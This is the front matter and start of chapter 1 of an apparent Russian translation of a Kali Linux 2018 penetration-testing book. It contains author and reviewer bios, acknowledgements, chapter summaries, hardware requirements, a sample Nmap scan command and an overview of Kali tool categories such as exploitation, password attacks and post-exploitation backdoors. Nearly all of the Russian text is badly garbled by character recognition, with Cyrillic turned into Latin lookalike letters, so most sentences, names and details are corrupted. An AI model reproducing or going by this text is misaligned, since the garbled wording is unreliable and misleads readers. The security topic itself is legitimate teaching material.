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CocTaButenu

ABTOpbI

ITusa IMapacpam (Shiva V. N Parasram). /[upeKTOp HHCTUTYTa KOMITHIOTEPHOM KPUMU-
HaIMCTHKY 1 Oe3omacHocTH (www.CFSI.co), pernoiaBaresib 1o KubepoesonacHOCTH, MeH-
TecTep, CAEOBATETb-KPUMUHAIUCT CO cTaskeM paboTs 14 met. ViMeeT cTernenb MarucTpa
B obstactu cereBoit 6ezonacuoct, CCISO, CEH, CHFI u CCNA. Kak ceprudurpo-
BanHbIi nipenotaBaresib Cosera EC (CET) 06y4mii HECKOIBKO COTEH YETOBEK STUIHOMY
(6esomy) B3soMy (QaHTUXaKHUHTY) M KDUMHHAIUCTHKE. Bbll BBIOpaH MperogaBaresiem
1o Kypcey kubepbesonactnoctu ast corpyannkos Fujitsu Trinidad. Asrop kuuru Digital
Forensics with Kali Linux, orybamkoBanHoii usgareibctBoM Packt.

Bnaropapto Paxyna, HutxuH n mnspatenbctBo Packt 3a elue oaHy npego-
CTaB/IEHHYIO MHE BO3MOXHOCTb. 51 MPUBETCTBYIO MEPBOr0 aBTopa v Momx
COaBTOPOB; A/151 MEHS 60/IbLLIAs YECTb bbITb YaCTbio 3TOM KOMaHAbl. «Ecim
Tebe HyXXHO 6bITb KeM-To, byab xpabpeuom» — UHapa MNapacpam (Indra
J. Parasram). «Bceraa 6yab Tepnenms, CbIHOK» — Xappw [lapacpam (Harry
G. Parasram). CaBn CyHuta Cbto3aH byaxaH (Savi Sunita Susan Budhan),
J11060Bb BCEV MOEV XXU3HWM, MOV MUP U MOV CaMbivi GO/bLLION MOKIOHHUK,
cnacmbo 3a To, YTO Tbl ECTb.

Astexe 3amm (Alex Samm) criermanuct B o6nactu I'T u KomibioTepHO# Ge30macHo-
ctu ¢ orbitoM pabdotsl 11 ser. Ceitvac Tpyautest B ESP Global Services. On cucremHbIit
U CeTeBOU aIMUHUCTPATOP, TPOrPAMMUCT, WHIKEHED TTOJIIEP:KKU UHDPACTPYKTYPHI
VMware. Kpome Toro, AjeKc SIBJISIETCS KOHCYIbTAHTOM 10 6E30IaCHOCTH [J1sI MHOTHX
KPYITHENTIINX MUPOBBIX aBUANIEPEBO3UNKOB U (hapMalleBTUIECKUX KOMIIAHUI, TAKUX KaK
Roche Diabetes, Norvatis, Ingredion u Shire Pharmaceuticals. imeet crerneHs Gaka-
JlaBpa B 06J1aCT KOMITBPIOTEPHBIX HayK, a Takske CEH, ACE, AME u NSE; B Hacrostuiee
BpeMsI BeleT KypChl 110 TecTUpoBanuio Ha nponnkuosenne ¢ Kali Linux — Offensive
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Security Certified Professional (OSCP). Uuraer JieKIiy B UHCTUTYTe KOMIIBIOTEPHOM
KPUMUHAIUCTUKY 1 GE30MACHOCTH.

HMamuan Byay (Damian Boodoo) — TecTUpOBIINUK CHCTEM 3alIUTHI U UCCIIEI0BA-
Tesb GesomacHocT. CTpeMuTes cenaTh cetr GoJiee 3anuieHHbIME. VIMest Gosiee yem
necaTuieTHuil onbitT pabotsl B cdepe 1T, apiuserca coyupemurenem DKIT Solutions,
[PeIOCTABIAIONIEH YCayrn 6e30MaCHOCTH U TBOPYECKOTO PeIeHus TpobieM, KOTopblie
00bIuHO yryckatoTest us Busy. Korna JlaMuaH He 3aHUMAeTCsT yrpo3aMy HYJIEBOTO JTHSI
U He UIIET JIBIPI B 3alIUTE, OH BO3UTCS € JKEJIE30M, MIBITASICh €T0 YCOBEPIIEHCTBOBATD,
6o pasmpiisier: «MosKkeT, 3aHSIThCs KuOEpCrnopToM (MOUTPaTh B KOMIBIOTEPHYIO
urpy)?»

Jxepapy Moxancen (Gerard Johansen) — mpodeccnonan B obmacti nHdopMarm-
OHHOH 6e30macHOCTH ¢ 6oJIee YeM JeCSTUIETHUM OIIBITOM B TECTHPOBAHUN Ha IIPOHUK-
HOBEHUeE, YIIPABJIECHUN YSI3BUMOCTSIMU, MO/IETUPOBAHIY OI[EHKH YIPO3 M PEarnpPOBAHUN
Ha MHIMIEeHTh. Hauas cBOIO Kapbepy B KauecTBe UCCIe[oBaTesi KHOEPIPECTYTHOCTH,
paboTasl KOHCYJIBTAHTOM U aHAJUTUKOM B cdepe GezomacHoctu. KoHCyabTHPOBAI
KJIMIEHTOB M KOMIIAHWUH, HAYMHAS OT OPTaHU3AINI 3/IPaBOOXPAHEHUS U 3aKaHIUBast (-
HAHCOBBIMU yupekaeHussMu. Boimyckak HopBuuckoro yHuBepcuTeTa, MMeeT CTENIEHb
MarucTpa B obaact nHGOPMAMOHHOTo obeciiedenus, a Takxke CISSP. B nacrosmee
BpeMsd paboTaeT B MexkayHapoHoil IT-hupme, crienmanusanus KOTOPOH — pearuposa-
HUe Ha MHIUCHTHI U pasBe/iKa yrpos 6e30MacHOCTH.

JIu Annen (Lee Allen) — samecTurens gupekTopa YHusepcurera mrata Oraiio.
Ero crernasnusanust — nHbopMannontas 6e30MacHOCTD, TECTUPOBAHME HA TIPOHUK-
HOBEHWUE, UCCIIEOBAHUST OE30TTaCHOCTH, aBTOMATH3AIINS 33/1a4, YIIPABJICHIE PUCKAM,
aHaJIM3 JaHHBIX U pa3paboTka 3D-1puoKeHuii.

Teau Xepusiuro (Tedi Heriyanto) B HacTostiee BpeMst paboTaer aHaTUTHKOM 110
nndopmalmonnoii 6eonactocru B komnanuu Fortune 500. FiMeeT ombIT poeKTHPO-
BaHUsI 3alIUIIEHHBIX CETEBBIX ADXUTEKTYP, PA3BEPTHIBAHUS O0IEOPTaHU3AI[HOHHBIX
cucreM 6e30TIaCHOCTH U yYIIPaBJICHUST UMU, PazpabOTKH MOJUTHK U TIPOIELyP HHDOP-
MAIHOHHON GE30MaCHOCTH, TIPOBEIACHUS PA3TNYHBIX TECTOB HA TIPOHUKHOBEHUE B CETh,
BeO- U MOOMIbHBIE IIPUIOKEHNs, a TaKKe 00y4uenus nHGOPMALMOHHO 6e30macHo-
ctu. B ¢cBoGoiHOE BpeMst yTuryOJisieT CBOM 3HAHUST ¥ HaBBIKKM B TIPO(MECCHOHATBHBIX
obracTsax.

S xoten 6bl nobnarogapuTb CBOK CEMbIO, MOAAEPXKABLUYHO MEHS, Korga
5 nucan 3Ty kHury. Cnacnbo KomaHae naatenbcTBa Packt, okasaBLueri MHe
MoAAEPXKKY, HEOOXOAMMYIO A5l YCMELIHOro HanucaHus KHurn. HakoHew,
6osbLIoe cnacnbo Momm coaBTopam: LLinse, Anekcy, ammaHy, Jin, LLlakuny
n [DKepapay, Ybm npogeccmoHasibHbIe 3HaHUs, MOTUBaLMS, MAEM, MPO6IEMBI,
BOMPOCh! Y NPEASIOKEHUS CAENANIN HAaNMMCaHUE 3TOM KHUMM YB/IEKATE/IbHbIM
3aHSITUEM.

IMakua Amu (Shakeel Ali) — craprimii KOHCYJIBTAHT 10 KHGEPOE30MACHOCTH B KOM-
nanuu Fortune 500. O6agaer 6orarbiM onbITOM B chepe 6e30MacHOCTH, ayAuTa,
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MoziesmpoBanus aTax, cozielicteust SOC/CSIRC, pearnpoBanust Ha UHITUIEHTHI U B 9KC-
MEePTHO-KPUMUHATMCTUIECKHX MTpoekTax. Kak He3aBUCUMBIN HCCIeI0BATENb, OH MTHTIIET
pasJInYHbIE CTAThU, YTOOBI IATh MPEJICTaBIeHHE 00 YTPO3ax, a TakyKe 00eCIeunBaeT mo-
CTOSTHHYTO TTOJIZIEPIKKY OE30TTaCHOCTH JIJISI PA3HBIX MIPEANPUSTHI [0 BCEMY MUPY.

S xoTen 6bl NobnarogapuTb BCEX MOMX APY3€M, COAaBTOPOB, PELIEH3EHTOB
W KoOJ1Jier, KOTopble y4acTBoBa/in B 3TOM MPOEKTE U UCKPEHHE MoAAEPXKN-
Basm ero. Ocobasi bnarogapHOCTb BCeM YiieHaM KoMaHAbl Packt Publishing,
KOTOpble, CTPeMSICb CAENaTb NPOEKT yCneLHbIM, AaBanin 6ecLeHHbIe KOM-
MeHTapuu, BHOCU/IN MPEAJSIOKEHUST U OKa3blBain MOAAEPKKY.

PeueH3eHThl

ITusananz Iepcaa (Shivanand Persad) umeer cremenn Mmaructpa B cepe yipaBieHus
npeanpusitueM (ABCTPaIHIICKUI MHCTUTYT OM3Heca) U cTerneHb GakaiaBpa Hayk B 00-
JIACTU JIEKTPOTEXHUKU U BhIUMCAUTENbHON TexHuku (Bect-Unackuit ynusepcurer).
KoMrieTeHTeH B TAKKX CIEIMATN3AINSIX, KAK CHCTEMbI YIIPABJIEHUSI U TIPHOOPOCTPOEHUST,
GeCTIPOBOIHBIE U TPOBOIHBIE CUCTEMBI CBSI3U, CTPATETMIECKOE YIIPABJIEHUE U PEUHIKU-
HUPHUHT OusHec-mporieccoB. Obmamaet Gojiee YeM AeCATUIETHIM OITBITOM PabOThI B Pas-
JIMYHBIX TEXHUYECKUX UCIUTIIMHAX W TPOOJLKUTETLHBIM CTasKeM paboThI ¢ OTHUM 13
KpyIHe#mux uuTepHer-npopaiifepos B Kapubekom Gacceiine. B cBoboaHoe BpeMst ot
YTEHUsI BCETO, YTO MOMAETCS MY Ha 1JIa3a, JIOUT CTPEJISITh U3 JIYKa, €3[IUTh Ha BEJIO-
curie/ie U UTo-HIOY b MaCTEPUTh.

JIuctpa K. Maiinro (Lystra K. Maingot) — kBamnduiimpoBaHHbIH 9TUYHBIN XaKep
U uccaeoBaTesab B obmactu 1udpoBoii KpuMuHaaUCTUKKU. B ynusepcutere Anglia
Ruskin (Benukobpuranus) obydasics pabore B CETH U MOJYYUJI CTEIeHb MarkcTpa
B o0stacTu ceteBoii GesomacHocTi. HaMmepeH pasBuBaTh CBoe yBJeueHne Kubepbesormnac-
HOCTBIO U HAaJIEETCS C/leJaTh Kubepepeny 6oee 3aiuimeH o



BBegeHue

I10 yerBeproe uznanue kauru «Kali Linux. TectupoBanue Ha MPOHUKHOBEHHUE U O€3-
OIIACHOCTB», B HEM OIMChIBaeTCs 0OHOBIeHHAs oneparontas cucrema Kali Linux 2018
U MHOKECTBO OOHOBJIEHHBIX U COBEPIIEHHO HOBBIX HHCTPYMEHTOB, HCIIOJIb3yEMbIX IPO-
(beccrnoHaIbHBIMK MCIIBITATESIMU Ha IIPOHUKHOBEHNE M CHELIAIICTaME 110 0e3011acHO-
ctu. 3a Bpems cBoero cyiectBoBanus Kali Linux sapexomenzoBaja cebs Kak HalesKHbIN
HWHCTPYMEHT B apCEHAJIE CIIEIMATNCTOB 110 OE30TTaCHOCTH 1 TIEHTECTEPOB (UCTIBITATE e
Ha IIPOHMKHOBEHIE ). ITa KHUTA O3BOJISIET YMTATEIO Ha IPAKTUKE B COOCTBEHHOPYYHO
IOCTPOEHHOM He3011acHOIi cpeie MOIYYUTh TIyOOKKe 3HAHM B 00JIaCTH TECTUPOBAHILL
Ha TPOHUKHOBEHIUE.

[na Koro npeAHasHa4yeHa KHUra

Ira KHUTa [peHasHaYeHa JJist IIEHTECTEPOB, STHYECKUX XaKepPoB 1 MPOdecCHOHaN0B
B obstactu IT-6e30macHocTy, uMelomux 6a3oBbie 3HaHUsS 00 OIlePallMOHHbBIX CUCTEMaX
Unix/Linux. Mbl ipe/iiosiaraem, 4To YUTaTe/ b O3HAKOMJIEH ¢ KOHIeNTeil napopma-
IIMOHHOMI 6e30I1aCHOCTH.

CTpyKTYypa 13aaHus

TInasa 1 «Ycemanoska u nacmpotixa Kali Linux». B a1oii riase Bbl nosunakomurech ¢ Kali
Linux 2018. Oco60e BHUMaHKE YAETSIETCS PAa3IMIHBIM METOAAM UCTIOJIb30BaHUST CUCTE-
Mbl. [J1aBa HalcaHa Tak, yTo JaKe HEeOIBITHBIN I10JIb30BaTe/lb CMOKET 3aryctuTh Kali
Linux ¢ Live DVD; ycraHoBUTb U HACTPOUTH CUCTEMY Ha JKeCTKOM jucke, SD-kapTe,
nozarmoueHHoM K USB-miopry (uteni-uakonuresne; ycranoputh Kali Linux Ha BUpTY-
ampHON Mammuie. Kpome Toro, ncmonb3ys AWS, Bor Mmoskere yeranosuth Kali Linux
B obJaKe.

Inasa 2 «Cosdanue ucnoimamenvioii rabopamopuus. B 10l T1aBe pacckasbia-
€TCs, KaK CO3[aTh Oe30MacHyI0 BUPTYAIbHYIO CPELY, B KOTOPOI MOKHO Ha 3aKOHHBIX
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OCHOBAHUSIX BBITIOJTHATH PazpaboTaHHbIe 5T KAyKION TIaBbl MPAKTUYECKUE TPUMEPBI.
B rzaBe Takske MpUBEAEHBI TOAPOGHBIE HHCTPYKIUH 110 HACTPOIKE TAKUX BUPTYATbHBIX
MamimH, kak Metasploitable 2 u Metasploitable 3, kotopbie OyayT HCIOIB30BATHCA KaK
I[eJIeBbIe MAIIMHBI B 9KCIIEPUMEHTAX HA IPOHUKHOBEHUE (TIEHTECTAX ).

Imasa 3 «Memodonozus mecmuposanus Ha NPOHUKHOGEHUE>. 31eCh TIPEICTABICHBI
Pa3IMYHBIE METO/IOJIOTHH TECTHPOBAHUS C [IEJTBI0 TVIAHMPOBAHUS 1 ONPEEIEHUsT Mac-
mTaboB TeHTECTOB. BB Takske Hali/ieTe onucanye MPaKTUYECKUX MIar0B U TEXHOJIOTHIA,
MpeIHA3HAYEHHBIX /IJIST ICTIBITAHUI HA TPOHIMKHOBEHUE.

Inasa 4 <Ionyuenue omneuamra u co6op ungopmavuus. Ha nepsom arame tecTipo-
BaH HA TIPOHUKHOBEHNE IPUMEHSIETCSI HECKOJIBKO PACIIPOCTPAHEHHBIX MHCTPYMEHTOB,
HCIIOJIb3YEMbIX JIJIS PA3BEIKU, BKIIOUast B3J1oM 6asbl qanubix Google. B aToM usmanmm
BBI HaiiJleTe HOBYIO HHMOPMAIIMIO O TAKMX WHCTPYMEHTAX JIJIst aBTOMATHYECKOTo cHopa
undopmaru, kak Devploit, RedHawk u Shodan.

Inasa 5 «Memoovl ckanuposanus u yxionenus». B 910ii raBe paccKasblBaeTcs, Kak
C MOMOIIBI0 MOTIHEHIEro HHCTpyMeHTa Nmap o6HapyKUTH 1eJieBble 0OBEKTBI, Y3JIbI
u cepsuchl. C nomouipio Netdiscover u Striker BeinosHsieTcss aBTOMaTU3UPOBAHHOE
ckanupoBanue u cbop nndopmaiu. Kpome toro, B 9ol rjiaBe paccMaTpUBAETCS Ta-
KO MHCTPYMEHT, Kak Nipe, TIPe/IoCTaBJISIONINH TOJh30BaTESIM KOH(DUIAEHIINATHHOCTh
Y aHOHUMHOCTb.

I'nasa 6 «Crxanuposanue ys3eumocmeti>. 31eCh Ha TPAKTUIECKUX TIPUMEPAX TIOKa3a-
HO, KaK HaliTH ysI3BUMOCTH B I1€JI€BOIT MantiHe. [IpuBozsiTCs momarosbie MHCTPYKIINU
IO VICITOJIb30BAHMIO TAKUX MOIIHBIX aBTOMATH3UPOBAHHBIX HHCTPYMEHTOB JIJIsT OIEHKN
ysasBuMocTeil, kak Nessus 7 1 OpenVAS. B Haiiziere HoBy10 nHbopmaluio o Linux-
MHCTpyMeHTe Lynis, mpesiHa3HAYeHHOM [IJIs CKAHUPOBAHWS 1 TPOBEPKH YSI3BIMOCTEH,
u unctpymente SPARTA, HazHaueHne KOTOPOro — OIleHKA U TIepevrcaeHne ys3BUMO-
creit. PaboTa Bcex MHCTPYMEHTOB TMPOBOIUTCS B UCIBITATEIBHON TabopaToOpuy, 1 ra-
PAHTUPYETCS, UTO OIEHKU PEATbHOTO THIIA TOUHO MOJIETUPYIOTCSL.

Inasa 7 «Coyuanvnas umnaicenepusis. O6CyKIAOTCS OCHOBHBIE TPUHITUITBI U METO/IbI,
pUMeHsieMble TTPO(EeCCUOHATBHBIMU CONNATBHBIMU MHKEHEPAMU JIJIST MAHUTYJISIINN
JIOIbMH, YTOOBI TE Pas3riianiain WHGOPMAITUIO UJTH COBEPIIAI WHBIE AeHCTBUSL.

I'nasa 8 <Ienesas sxcnayamavus>. B 91011 T1aBe Bbl OygeTe NPUMEHATH METOIbI
U UHCTPYMEHTBI JIJIsT 9KCILTyaTallii KOMITBIOTEPHBIX CUCTEM (9KCILTIONTBI ). DKCIIJIONTHI
UCTIOJTB3YIOT YSI3BUMOCTH U HEJIOCTATKHU B CHCTEMAX, UTO /IAeT BOBMOKHOCTH TI0JTh30Ba-
TEJTIO MTOJIYYUTh TOCTYII K CUCTEME.

Inasa 9 «Hosvuuenue npusuiezuil u noddepicanue docmynas. 31eCh BbI y3HAETE,
KaK TOBBICUTh YPOBEHD JIOCTYIIA U B3JIOMATh [APYTUE YUETHBIE 3AITMCU B CUCTEME.
BasiomaHHbIe yueTHbIe 3aUCH OYYT UCTIOMb30BATHCS ST COXPAHEHUSI IOCTYTIA K CH-
CTeMe U MMOJTyYeHUs TaIbHEHIIero 10CTyTa K CETH.

Inasa 10 «Tecmuposanue se6-npunoxcenuii». B 910ii r1aBe Mbl PACCMOTPUM HECKOJIb-
KO OCHOBHBIX MHCTPYMEHTOB, MTPeTHA3HAYCHHDIX /7S TECTHPOBAHUS BEO-TTPUITOKEHII,
a Tarske obJIaYHbIe MPUIIOKEHHUS, TAK KaK OHU OCHOBAHbI HA TEX JKe€ MPOTOKOJIAX U HC-
MOJIb3YIOT MHOTHE M3 TeX JKe MIaT(opmM.

I'nasa 11 «Tecmuposanue b6ecnposodnvix cemeii Ha nponuxHosenues. B riase pac-
CMaTPHUBAETCST HACTPOIKA MHCTPYMEHTOB, TIPEIHA3HAYEHHBIX JIJI 3aXBaTa JaHHbBIX, He-
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06XOIMMBIX JIJIsT B3JIOMa GECTIPOBO/IHBIX CETEll U MOJTYYCHUS K HUM JIOCTYTIA, BKIIOYAst
HACTPOKKY IMOJ/IETbHBIX TOUYEK JOCTYTIA.

TInasa 12 «Mobunvroe mecmuposanue na npornuxnosenue ¢ Kali NetHunters. B atoit
rJIaBe TIPEJCTABJIEH MTPAKTIHYECKIH MOIX0/ K TECTUPOBAHMIO HA TPOHUKHOBEHUE C I10-
MOTI[bI0 MOOUJTBHBIX YCTPOCTB. TTopo6HO OTMMChIBaETCS yCTaHOBKA U HACTPOWKA He-
06XOIMMBIX ITPUTOKEHNT, & TAKIKE IEMOHCTPUPYETCST MPOIECC CKAHMPOBAHUS U OI[CHKI
YSIBBUMOCTEH, aTaK THIIA «4eJIOBEK MocepeinHes U GEeCPOBOIHBIX aTak, KOTOPbIE MOTYT
BBITIOJTHATHCSA MOOUITLHBIMU TPUTOKEHISIMU.

I'nasa 13 «PCI DSS: ckanuposanue u mecmuposanue Ha npoHuKHo8eHUue». 31eCb BBO-
JIATCSI CTAHAPT, OMUCHIBAIOTCS TECTb 3aj1a4 1 12 TpeboBanuil, IPUBOAUTCA 0630 PHBIIT
TecT Ha TpoHnKHOBeHue. AktieHT jesaercs Ha PCI DSS Bepcnit 11.3.1 u 11.3.2.

Inasa 14 «<Hncmpymenmol 015 cO30aAHUS OMUEMOE 0 MECMUPOBAHUU HA NPOHUKHO -
senues. OBCYKIAOTCS PA3TUIHBIE TUITBI OTYETOB U MPOIIEYPBI, KOTOPBIE TIPOBOIATCS
10 OKOHYAHWH TECTUPOBAHNUS, & TAK)KE IEMOHCTPUPYETCST UCTIOIb30BaHNE TIAThHOPMBI
Dradis /7151 opranusaruu u moJHoro JOKYMEHTUPOBAHS TECTA Ha TPOHUKHOBEHHE.

Kak nonyuntb MakCMMasbHYH MOsb3y
OT 3TON KHUIU

B xuure mbr PAaCCMOTPUM MHOKECTBO TEM, JIA 00bACHEHN KOTOPBIX aBTOPBI ITPUJIOKH -
JIN MAKCUMAJIbHbBIC YCUJIU. Ho ectp HEKOTOpPbIE (l)yHI[aMeHTaJIbeIe TEeMbI, Kacalolnecda
KakK CeTefI, TaK 1 BOITPOCOB 6630H3CHOCTI/I, KOTOpPbIE, BOSMOJKHO, BbI TTOJKEJIACTE N3YIUTDH
CaMOCTOATEJIbHO, 4TOOBI JIyduie IMOHATb MaTepuasr:

cemb ypoBHeii mojiesin OSI;
na6op nporokosios TCP/IP;
Tpexarantoe pykonoxarue TCP;

a

a

(W

U 1IpOTOKOJIBL 1 HOMEPA II0PTOB;

Q ocHoBbl GecripoBoaHoii cBsau (802.11 a, b, g, n, ac), WEP u WPAZ2;
a

ocHOBHBIE KOMaH bl Linux (including 1s, cd u clear).

YcnoBHble 0603HaYeHns

B 9710l KHHUTE UCTIOMB3YETCsT PsI/T YCIOBHBIX 0003HAUEHUTA.

MOHOWMPHHHBIM TITPU(DTOM B TEKCTE BBIJIEJIAIOTCS KOJOBBIE CJIOBA, MMeHa TabiuT 6asbl
JIAaHHBIX, UMEHA TaroK, UMeHa (haitioB, paciupenus (paiiios, My TH, TOJIb30BATEIbCKUN
BBOJ U coobmenus Twitter. Hanpumep: «<MOHTUpPYeM cKadaHHBIN WebStorm-10* . dmg
06pa3s INcKa Kak eIe OJINH JIUCK B CUCTEME>.

JTio6bIe KOMaH/Ibl, BBOJMUMbIEC B KOMAH/IHYIO CTPOKY, WJIH COOOIIEHNsT KOMAaHIHON
CTPOKH 3aTHUCHIBAIOTCS CJEAYIONIUM 0OPa3oM:

Nmap 172.16.54.144 -sV
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Kypcusom B TekcTe BBIIEAIOTCS HOBBIE TEDMUHBI UM CJIOBA, HA KOTOPBIE HYKHO
o6paruth 0ocoboe BHUMAHHE.

OroGpazkaeMbie Ha oKpaHe cjioBa 1 pukTuBHble URL-azpeca BbIAEISAIOTCS py6ieHbM
wpudToM, Hanpumep: «Bbibepute System info (Cucremuas uHGOpMaIUsa) Ha MaHe
Administration (AZMUHUCTPUPOBaHUE)>.

Takum 06pa3om oTobpakatoTcs NpeaynpexaeHns Uy BaXkKHbIE 3aMeTKMU.

Tak BbIrNSAAT COBEThLI U pekoMeHaaumn.

OT n3paTenbCcTBa

Bamm 3ameuanus, mpesioskenus, BOPOCHI OTIIPABIISANTE 10 aJipecy comp@piter.com (13-
naTesabcTBO «IInTep», KOMIIbIOTEpHAS PelaKIIN ).

Mbi OyzieM pajibl y3HATh Baliie MHEHe!

Ha Beb6-caiite uzgarenbecTBa www.piter.com BbI Haiiziere moapo6HyIo WHHOPMAIUIO
0 HAIIUX KHUTaX.



YCcTaHOBKa M HacCTpPoMnKa
Kali Linux

Jlanuast riiaBa OTKpoeT mepes Bamu yausuTebHbii Mup Kali Linux 2018.2. dto crerua-
JIU3UPOBAHHBIN AucTprOyTHB Linux, mpeHasHaueHHBIN JIJIsT TECTUPOBAHUS HA TIPOHUK-
HoBenne. B raBe OyyT pacCMOTPEHBI CIEMYIONINE TEMBL.

O Kparkas ucropus Kali.

O Heckoubko pacrpocTpaneHHbix cdep npumenenus Kali.

O 3arpyska u ycraHoBka Kali.

O Hacrpoiika u obHoBIeHmE Kali.

TexHnyeckue ycnosus

JLuist 5T0# TIaBbI U BCEl KHUTH BaM TIOHA00UTCS HOYTOYK UITH HACTOJBHBIN KOMITBIOTED
¢ 06beMoM onepaTUBHON namsaTu He MeHee 6 T6aiit 1 100 ['GaiiT cBoGoAHOrO MecTa Ha
JKECTKOM JICKe — OHO ToTpebyercest st yeranoBku Kali Linux u recToBbIX stabopaTop-
HBIX CPE/I, B KAaUeCTBE KOTOPBIX OYIyT UCTOJIb30BAHBI BUPTYa/bHbIe MAHbL [Ipu ycra-
Hoske Kali Linux Ha dueni-nakomnuresb win kapty SD/micro-SD MUHUMAIBHOE TIPO-
CTPAHCTBO /s XPaHEHUsT JTOJKHO cocTaBistTh 8 ThaliT (pekomenayercs 16 Toaiit win
6oaee).
Kpome Toro, Hy:kKHO GyJIeT 3arpy3UTh CJIELYIOIIee MTPOTPAMMHOE 00ECTIEUCHIE:

Q VirtualBox (https://www.virtualbox.org/wiki/Downloads);

O Vmware Player (https://my.vmware.com/en/web/vmware/free#desktop_end_user_computing/
vmware_workstation_player/14_0);

O Kali Linux (https://www.kali.org/downloads/).

KaTteropun nHctpymeHToB Kali Linux

Ha momenT Hanmucanust kauru nocseaneii sepeneit Kali Linux 6buta 2018.2. Ona BKJIio-
qaer:
Q yJsydnieHHYIO MOAJEPKKY rpadudeckunx mpoieccopoB AMD;

O wucnpasienus B apxutekType x86 u x64 174 ycrpanenust ysisBumocTeir Spectre
u Meltdown;
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obseruennpiil goctyn k Metasploit ¢ Metasploit-framework-4.16.34-0Kali2;

obHoByiennbie nHcTpyMeHThl Bloodhound v1.51, Reaver 1.6.4, PixieWPS 1.42,
BurpSuite 1.7.32, Hashcat 4.0, Wpscan, Openvas, Xplico, Responder u Dradis.

Kali Linux cosepsKuT MHCTPYMEHTBI, HA3HAYEHME KOTOPBIX — TECTUPOBAHUE HA TIPO-

HUKHOBeHMe. VX MOKHO Pa3geJINTb Ha CJaeYyIoNne KaTeroOpun.

a

Information gathering (MHcTpyMeHTBI 17151 cO0pa nH(OpMaIim). Ta KaTeropus BKJIO-
YaeT HeCKOJbKO HHCTPYMEHTOB Jijist cbopa utdopmaiiuu o DNS, IDS/TPS, cereBom
CKaHMPOBAHUH, OTIEPAIIMOHHBIX cucTeMax, MapipyTtusanun, SSL, SMB, VPN a Tak-
ke ipocaytuBanust [P, SNMP, anpecos anextpornoii moutst u VPN.

Vulnerability assessment (O1ierka ysa3BumMocTeit). B 1anHoii kareropuu Bbl MOKeTe HallTu
UHCTPYMEHTBI JIJIs OOIIET0 CKAHUMPOBAHUS YSI3BUMOCTEH. 3/16Ch TAKAKE COAEPIKATCS UH-
CTPYMEHTHI /715t aram3a cetu Cisco ¥ MoncKa ysI3BUMOCTeEN B cepBepax 6a3 TaHHbIX.
B aroii kaTeropun Takske MpecTaBIeHbl HECKOJIBKO HHCTPYMEHTOB fuzzing.

Web applications (Be6-miprutoskennst). ITa KaTEropust BKIIOYAET TaKUE MHCTPYMEHTHI,
CBSI3AHHBIE C BEO-TTPUIIOKEHUSMHU, KaK CKAHEPbI CUCTEMBI YIIPABJICHUS KOHTEHTOM,
6a3bl JAHHBIX YSI3BUMOCTEH, TPOKCH-CIIYKOBI, CKAHEPDI TIOMCKOBBIX POOOTOB U CKa-
Hepbl BeO-YsI3BUMOCTET.

Database assessment (OrneHka 6a3 gaHHBIX). VTHCTPYMEHTBI 3TOH KaTeropuu mpo-
BePIOT 0e30I1aCHOCTD PasJNYHbIX 6a3 JaHHbIX. CyIIecTByeT Pl MHCTPYMEHTOB,
pa3paboTaHHBIX CIIELUAIBHO /I TecTHpoBaHust 6a3 gaHHbiX SQL.

Password attacks (ATaku Ha TapoJin). B aTolt kKateropuu Bbl HaiieTe HECKOJIBKO WH-
CTPYMEHTOB, KOTOPBbIE MOKHO MCIIOJIB30BAaTh B PEKUME OHJIAWH WU OhJIaliH 715
BBITIOJTHEHUS aTak MapoJeil.

Wireless attacks (BecripoBojirbie ataxi). B Hactosiee BpeMst Bce 6oree akTyaabHbIM
CTAHOBUTCSI BOIPOC HGE30MacHOCTH HECTIPOBOIHOI CBsI3M. JTa KATETOPUsT BKIIOYAET
B cebs urcTpymenTsl it ataku Bluetooth, RFID/NFC u 6ectipoBo/iHbIX YCTPORCTB.

Exploitation tools (DKcITyaTaioHHbIle MHCTPYMEHTDI ). B 9TO# KaTteropuu cozepskatcst
WHCTPYMEHTHI, TIO3BOJISTIONINE IKCTLIYATUPOBATH OOHAPY/KEHHBIE B TIETEBOIT cpejie
YSI3BUMOCTH. 371eCh BbI Hali/ieTe MHCTPYMEHTBI [IJTsI AKCILTyaTaluu cetu, VinTepHera
u 6a3 ganHbIX. B 910l KaTeropuu takske mMpeacTaBiIeHbl WHCTPYMEHTBI COIMAIbHOI
NHXEHEPUH, ITO3BOJIAIONINE NCKATh 1 MCITOJIb30BATh I/IHCbOpMaHI/HO.

Sniffing and spoofing (Ananu3 u oamena). HCTPYMEHTBI 3TOI KaTerOpUH IpuMe-
HAIOTCS LI OTCJIeKUBaHUs ceTeBoro Tpaduka. B Heil Takke 1peicTaBieHbl UH-
CTPYMEHTHI ceTeBoro cirydunra (IIoaMeHsr), Takue Kak Ettercap (6osbinoii Habop
WHCTPYMEHTOB JIJISl ATAKK «4YeJIOBEK TIocepe/inHes ) u Yersinia (ceTeBoit MHCTPYMEHT,
COBJIAHHDIN JIJIST TIOTYIEH ST TIPENMYTIIECTBA U3 HEKOTOPBIX CIa00CTEN PA3IMIHbBIX
CETEeBBIX TTPOTOKOJIOB).

Post exploitation (ITocste axcrunyaTtamm). IHCTpyMeHTBI 3TOI KaTeTOPUN TIOMOTYT BaM
COXPaHUTb TTOJTYYeHHBIN paHee OCTYII K TiesieBoMy KoMmbiotepy. [lepen ycranoBkoit
3TUX UHCTPYMEHTOB BaM, BO3MOKHO, TOTPEOYETCST MOJTYIUTh HAUBBICIIUI YPOBEHD
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NPUBUJIETHIT HA KOMITBIOTEPE. 3/1ECh BbI HAM/IETe MHCTPYMEHTHI JIJIst CKPBITOTO YIIPaB-
JIEHUs1 ollepallioHHoil cucteMoil komibiorepa (backdoor, uto B iepeBojie 3HauuT
<YEPHBIN XO/1») U BeO-TIPIIIOKEHUSIMHE, & TAK/KE MHCTPYMEHTBI JIJIsI TYHHEJMPOBAHUSL.

Forensics (CymeGHast axciiepTusa). B 90l KaTeropuu coepsKarcss HHCTPYMEHTBI JIJIsT
c60pa ]_[I/I(l)pOBbIX KPUMNHATUCTUYECCKUX JaHHBIX, BOCCTAHOBJICHUA TaHHBIX, pearu-
POBaHMS Ha MHITUIEHTHI U BbIPE3aHust (haiiyion.

Reporting tools (MHCcTpyMeHTBHI OTYETHOCTH). 3/1eCh Bbl HaliJieTe MHCTPYMEHTBI, 110-
3BOJIATONINE 33/IOKyMEHTHUPOBATD IIPOIECC U Pe3yJIbTaThl TECTUPOBAHUSA Ha MIPO-
HUKHOBEHME.

Social engineering tools (IHCTpyMEHTBI coMaTbHON WHXKeHepnn ). B manHOM Karero-
